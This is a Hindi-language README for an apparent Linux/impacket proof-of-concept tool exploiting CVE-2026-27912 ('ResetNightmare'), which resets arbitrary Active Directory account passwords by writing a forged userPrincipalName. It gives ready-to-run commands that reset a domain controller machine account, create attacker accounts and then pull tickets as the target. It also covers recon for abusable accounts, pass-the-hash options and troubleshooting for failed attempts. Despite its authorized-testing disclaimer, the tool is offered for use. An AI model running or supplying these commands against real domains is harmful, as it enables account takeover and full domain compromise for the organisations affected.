
CVE-2026-27912 (ResetNightmare) — Semperis Community के Invoke-ResetNightmare PoC का Linux/impacket पोर्ट
Linux / impacket टूलिंग CVE-2026-27912 ("ResetNightmare") के लिए। यह लक्षित
Active Directory खाते का पासवर्ड रीसेट करता है, NT_ENTERPRISE प्रिंसिपल के लिए
kadmin/changepw TGT का अनुरोध करके — जिसका नाम लक्ष्य का sAMAccountName होता है —
ऐसे खाते (UPNUser) का उपयोग करके जिस पर हम नकली userPrincipalName लिख सकते हैं।
Semperis Community Invoke-ResetNightmare
PowerShell टूल का Python पोर्ट (देखें श्रेय)।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। यह टूल वास्तविक Active Directory क्रेडेंशियल बदलता है और खातों को लॉक कर सकता है।
GenericAll अनुदान दें, उसका पासवर्ड सेट करें, उसे सक्षम करें।sAMAccountName पता करें।UPNUser.userPrincipalName = <targetSAN> सेट करें (नकली UPN)।NT_ENTERPRISE '<targetSAN>' के रूप में kadmin/changepw के लिए AS-REQ करें — KDC
एंटरप्राइज़ UPN को लक्ष्य पर मैप करता है और उसके लिए पासवर्ड-परिवर्तन TGT जारी करता है।python3 -m venv venv
./venv/bin/pip install -r requirements.txt
ऑपरेटर क्रेडेंशियल पहला पोज़िशनल तर्क है: [domain/]username[:password]।
कोई भी पासवर्ड छोड़ा जा सकता है और उसके लिए आपसे पूछा जाएगा।
रीकॉन — यह खाता किसका दुरुपयोग कर सकता है? उन खातों की रिपोर्ट करता है जिन पर आप UPN लिख सकते हैं, वे OU जिनमें आप ऑब्जेक्ट बना सकते हैं, और MachineAccountQuota, सुझाए गए कमांड के साथ:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
किसी लक्ष्य को रीसेट करें ऐसे खाते का उपयोग करके जिस पर आप UPN लिख सकते हैं:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
पहले UPN खाता बनाएँ (OU पर Create Child अधिकार और LDAPS की आवश्यकता है):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
विस्तृत AS-REQ / LDAP / kpasswd लॉगिंग के लिए -debug जोड़ें।
पासवर्ड छोड़े जाने पर इंटरैक्टिव रूप से पूछे जाते हैं।
--create-new-path विफलताएँ:
नोट:
unicodePwd लिखना स्वीकार करता है,
इसलिए --create-new-path को इसकी आवश्यकता है। --no-ssl का उपयोग केवल
रीड/केवल-UPN पथों के लिए करें।--find केवल आपको या आपके समूहों को दिए गए allow ACEs की रिपोर्ट करता है
(ऑब्जेक्ट स्वामित्व और MachineAccountQuota सहित); deny ACEs और क्रॉस-डोमेन
सदस्यताओं का पूरी तरह मूल्यांकन नहीं किया जाता। खाली परिणाम यह प्रमाण नहीं है कि
कोई पथ नहीं है — उपयोग से पहले सत्यापित करें।टूल लक्ष्य के रूप में उपयोग योग्य टिकट प्राप्त करने के लिए एक अनुवर्ती कमांड प्रिंट करता है:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare PowerShell टूल जिसका यह प्रोजेक्ट पोर्ट है।ldaptypes प्रिमिटिव।यह एक स्वतंत्र सामुदायिक पोर्ट है; Semperis से संबद्ध नहीं है और न ही उसके द्वारा समर्थित है।
MIT © 2026 mihat2.
| फ़्लैग | अर्थ |
|---|
<positional> | ऑपरेटर क्रेडेंशियल: [domain/]username[:password] |
--target-account | रीसेट करने के लिए sAMAccountName (कंप्यूटर खाते $ पर समाप्त होते हैं) |
--target-new-password | लक्ष्य पर सेट करने के लिए नया पासवर्ड |
--upn-user | जिस खाते पर नकली UPN लिखना है (या --create-new-path से बनाना है) |
--upn-user-password | --upn-user का स्पष्ट-पाठ पासवर्ड |
--computer | --upn-user को मशीन खाते के रूप में मानें |
--create-new-path <DN> | वह OU/कंटेनर जिसमें पहले --upn-user बनाना है (LDAPS की आवश्यकता है) |
--find | रीकॉन: दुरुपयोग योग्य खातों/OUs + सुझाए गए कमांड की रिपोर्ट करें, फिर बाहर निकलें |
--list-ous | OUs/कंटेनर सूचीबद्ध करें और बाहर निकलें (कोई मान्य --create-new-path चुनें) |
--aes-key <hex> | पासवर्ड के बजाय AS-REQ के लिए --upn-user की AES कुंजी |
--upn-user-hash <NT> | पासवर्ड के बजाय AS-REQ के लिए --upn-user का NT हैश (या LM:NT) |
-k, --kerberos | Kerberos (SASL/GSSAPI) LDAP बाइंड (KRB5CCNAME का उपयोग करता है) |
-H LM:NT | पास-द-हैश LDAP (NTLM) बाइंड |
--no-pass | पासवर्ड के लिए संकेत न दें (-k / KRB5CCNAME उपयोग करें) |
--dc-host | DC होस्टनाम/FQDN (Kerberos SPNs के लिए) |
--dc-ip | DC IP पता |
--no-ssl | सादा LDAP/389 (--create-new-path के साथ असंगत) |
--supported-encryption | पसंदीदा एन्क्रिप्शन प्रकार, सूचनात्मक (डिफ़ॉल्ट aes256) |
-debug | विस्तृत लॉगिंग |
| लक्षण | कारण | समाधान |
|---|
result 50, insufficientAccessRights | OU मौजूद है लेकिन आपके पास उस पर Create Child अधिकार नहीं है। | ऐसा OU उपयोग करें जिसमें आप लिख सकते हैं (--list-ous / --find), या --create-new-path हटाएँ और --upn-user के माध्यम से किसी मौजूदा खाते का दुरुपयोग करें। |
result 32, noSuchObject — best match: DC=corp,DC=local | DN की पैरेंट श्रृंखला मौजूद नहीं है (आंशिक/अनुमानित DN)। | --list-ous से गणना करें और पूरा नेस्टेड DN चिपकाएँ। OUs नेस्टेड होते हैं; अकेला नाम उनका पथ नहीं है। |
result 53, unwillingToPerform पासवर्ड चरण पर | गैर-TLS चैनल पर unicodePwd लिखना, या नीति के विपरीत कमज़ोर पासवर्ड। | LDAPS बनाए रखें (--no-ssl न दें); अनुरूप पासवर्ड उपयोग करें। |